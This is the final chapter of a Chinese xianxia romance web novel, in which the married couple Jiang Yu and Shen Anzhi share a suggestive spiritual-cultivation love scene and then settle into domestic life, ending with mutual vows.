沈安之压下嗓音,似有诱哄:“不过夫人,如今有一事我得提前告知。” “何事?” “夫人如今回来,修为停滞不前,岳父大人可是耳提日日叮嘱,说夫人既归家,不能荒废修行。”沈安之哼笑一声,意有所指地轻点下她的手背。 姜喻醉醺醺地歪头:“我每日都有练功,不过是是慢了些……” 话音未落忽被打横抱起,姜喻惊得轻呼一声,醉意地眨了眨眼,“作何呀?” 沈安之含笑眸底翻涌着流光:“重明神鸟自然不同凡俗,不如我教夫人个趣致的修炼法子?” 姜喻笑着趴在他胸口,指尖轻轻画着圈圈,“什么修炼之法?” 沈安之额头抵着她的额头,眼前意识的微光一闪,将姜喻拉入他的心海中。 一叶轻舟漾在心海上,水面之中,绵延无尽的雪白五瓣花静绽于澄澈之中,如坠云层般美的人晃眼。 姜喻醉意朦胧地撑起身,一头青丝悄然垂落,她怔然望向四周,舟边浮花似雪,水光清透如幻。 几乎分不清是梦是真。 她俯身伸手,指尖轻拂过花瓣。 “这儿何时,变得这样好看了?”姜喻低声呢喃,唇角扬起。 全然不知舟尾的沈安之正静静注视着她,眼底一片深不见底的温柔与占有。 “皆因有你的存在。” 沈安之压抑不住地凑近,一点点啄吻在她脸颊,雀跃地心绪被取悦般。看她渐醉意下透出的薄红,喉结滚动,往日隐忍在这一刻化作潮水袭来。 他笑得肆意,拥着姜喻的神魂从扁舟翻身,颀长身形覆下。 两团微光相互拉扯又交融,带着淅沥沥的水声与难以言喻的欢愉。 姜喻经不住地伸长脖颈,惹得某人眼圈微红,掐着她的腰喘着粗气,在雪白中落下一朵朵红梅的印痕。 她醉意地想推开他的胸口,这般欲拒还迎的姿势,只是让某人更心动地牵着她的手腕。吻落在她的掌心,脸颊悄然地贴靠,“夫人。” “嗯?”姜喻应了一声,在唇齿相依中卷走了所有的声音。 波纹微荡,扁舟随波逐流。 沈安之的唇吻过她的唇角,又衔住柔软反复厮磨,趁她失神微颤的刹那退开。 姜喻额间沁出细汗,腕间忽地落下他滚烫的吻。她浑身失力向前软倒,醉醺醺地咂咂嘴,下意识往前一蹭,正好撞进他胸膛。 沈安之低笑一声,眼底暗色翻涌,侵略性毫不掩饰,他喜欢夫人这样依赖她。 他俯身吻过她轻颤的掌心,沿雪臂一路啄吻至肩头,却在她迷糊贴近时不再避开。 “夫人就要这般黏我……”他指尖抚过她后颈,搂紧她的身形,如同握住一捧跌入怀中的月光。 姜喻心口滚烫,眼尾洇开绯红,连呼吸都带着颤。 *** 沈安之打横抱起姜喻转移阵地。 轻柔地放在锦被上,覆下身去,这般缠着姜喻足足神交了三日三夜。 哪怕姜喻醉醒,都没放过她。直至第四日天光微亮,方才大雨停歇。 姜喻睡醒来,轻哼了好久,酸软的腿蹬开沈安之笑着缠上来的腿,背过身去不理会他。 这家伙仗着自己的体质,砰砰砰的是吧。 沈安之好久未曾这般食髓知味,哪是容易打发走的,不依不饶地从身后紧贴,抱上她的腰肢。 见姜喻佯装生气的样子,沈安之亲在她脖颈,又是轻声细语地诱哄,方才此事翻篇结束。 他接到魔域传信,未久住于风云城,走时专门画了一处传送阵,暂瞒消息回到了魔域,许多未尽之事需他处理,处理完便匆匆利用传送阵回到姜喻身边。 姜喻恢复少城主的身份后学着打理风云城的一切,继续学着医术炼丹。 待日子步入正轨,姜喻也适应了节奏,只不过倒是有人不太适应了。 姜喻刚踏进内室便被一道力道揽入怀中。 沈安之的手臂缠在她腰间,温热的鼻息拂过她耳畔:“夫人不想我?连道传音都不肯施舍。” 姜喻含笑轻拍他手背:“两个时辰前才见过,我连一炉清心丹都没炼成。” “夫人可听过度时如年?” 沈安之忽低头将脸埋进她后颈,感受着怀中人轻颤的低笑里带着得逞的欢愉,“见不到夫人的每刻,于我都是凌迟。” 弯腰在她后脖颈一蹭,顿感她轻颤一下,暗自扬唇。 “没听过。”姜喻在他怀里转身,指尖戳上他微扬的唇角 “夫人总是这般聪慧,我爱听,我的夫人说什么都对。” 沈安之捧住她脸的动作温柔,垂下眸满眼笑意,唇沿着她的唇线辗转,直到两人呼吸凌乱地缠在一处,仍不肯松开半分。 这一次,他们不会再放开彼此的手。 唯愿与君同生死。 唯愿与妻同生死。 ——正文完——